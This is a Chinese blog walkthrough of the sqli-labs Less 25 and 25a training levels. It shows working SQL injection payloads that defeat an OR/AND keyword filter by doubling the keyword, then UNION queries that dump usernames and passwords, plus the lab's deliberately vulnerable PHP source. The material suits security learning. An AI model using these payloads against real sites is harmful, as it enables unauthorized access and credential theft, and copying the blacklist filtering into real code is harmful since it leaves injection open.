sqli-labs 通关指南:Less 25
Less 25 的注入过程和 Less 1 的完全一样,但是 Less 25 开始对 “OR” 和 “AND” 2 个字符串进行过滤,此时我们可以使用双写绕过来应对这种过滤。
Less 25#
Trick with OR & AND(过滤了 OR 和 AND 的注入)
判断注入类型#
首先注入正常的参数,网页回显正常的信息。使用单引号来闭合,网页回显报错信息。
?id=1'
使用 “--+” 注释掉后面的内容后回显正常,说明此处是单引号闭合的字符型注入。
?id=1'#
双写绕过#
构造恒真条件时,我们发现网页回显了报错信息,根据提示我们发现 “OR” 运算符不见了。
id=1' OR 1 = 1--+
使用 “AND” 进行注入时,网页也回显了报错信息,“AND” 运算符也不见了。由此可见此处网页对我们传入的参数进行了过滤,把 “OR” 和 “AND” 运算都删掉了。
id=1' AND 1 = 1--+
此处我们可以使用双写绕过来对过滤进行绕过,具体的方式为在被过滤的字符串中间再次书写一次该字符串。例如在构造恒真条件时,我们在 “OR” 中间再插入一个 “OR”,变成 “OORR”。当网页对传入的参数进行过滤时,该字符串中间的 “OR” 会被过滤掉,但是字符串剩余的部分也构成了一个 “OR” 运算符,此时的参数就注入成功了。
id=1' OorR 1 = 1--+
对于 “AND” 来说也是一样,在该字符串中间的任意位置双写一次,也能查询成功。
id=1' AandND 1 = 1--+
id=1' ANandD 1 = 1--+
获取数据库信息#
判断表有几列,使用 ORDER BY 子句进行一个排序,此处网页回显了错误信息。这是因为 “ORDER BY” 子句里面也有个 “OR” 字符串,所以在后面的注入中,所有有 “OR” 和 “AND” 的字符串都要双写。
?id=1' ORDER BY 3--+
?id=1' OorRDER BY 4--+
判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。
?id=-1' UNION SELECT 1,2,3--+
?id=-1' UNION SELECT 1,database(),3--+
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+
获取目标信息#
爆出 users 表中的信息。
?id=-1' UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+
关卡 SQL 查询语句#
源码如下,我们可以看到 SQL 查询语句和之前的没什么差别。但是参数 id 在被查询时,先经过了 blacklist() 函数。
$id = blacklist($id);
// connectivity
$sql ="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
blacklist() 函数如下,该函数使用正则表达式对 “AND” 和 “OR” 进行了过滤。
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
Less 25a#
Trick with OR & AND Blind (过滤了 OR 和 AND 的盲注)
判断注入类型#
注入以下内容,以下内容全部网页都回显错误,说明该网页是数字型注入。
?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+
构造恒真条件,此时发现回显了错误信息,说明我们的 “OR” 运算符被过滤了。
?id=1 OR 1 = 1--+
使用双写注入,网页就能返回正常的信息了。
?id=1 OorR 1 = 1--+
本关的盲注体现在何处?当查询的 id 不存在,也就是查询失败时,没有任何回显信息。不过由于查询成功时能正常回显,此处使用 Less 25 的注入方式即可。
?id=-1
获取数据库信息#
判断表有几列,使用 ORDER BY 子句测试到第 4 列无回显,说明表中一共有 3 列。
?id=1 OorRDER BY 3--+
判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。
?id=-1 UNION SELECT 1,2,3--+
?id=-1 UNION SELECT 1,database(),3--+
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+
获取目标信息#
爆出 users 表中的信息。
?id=-1 UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+
关卡 SQL 查询语句#
除了查询失败时不显示错误信息,其他的和 Less 25 一样。
//fiddling with comments
$id = blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
//echo 'YOU ARE IN ........';
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
function blacklist($id)
{
$id = preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id = preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)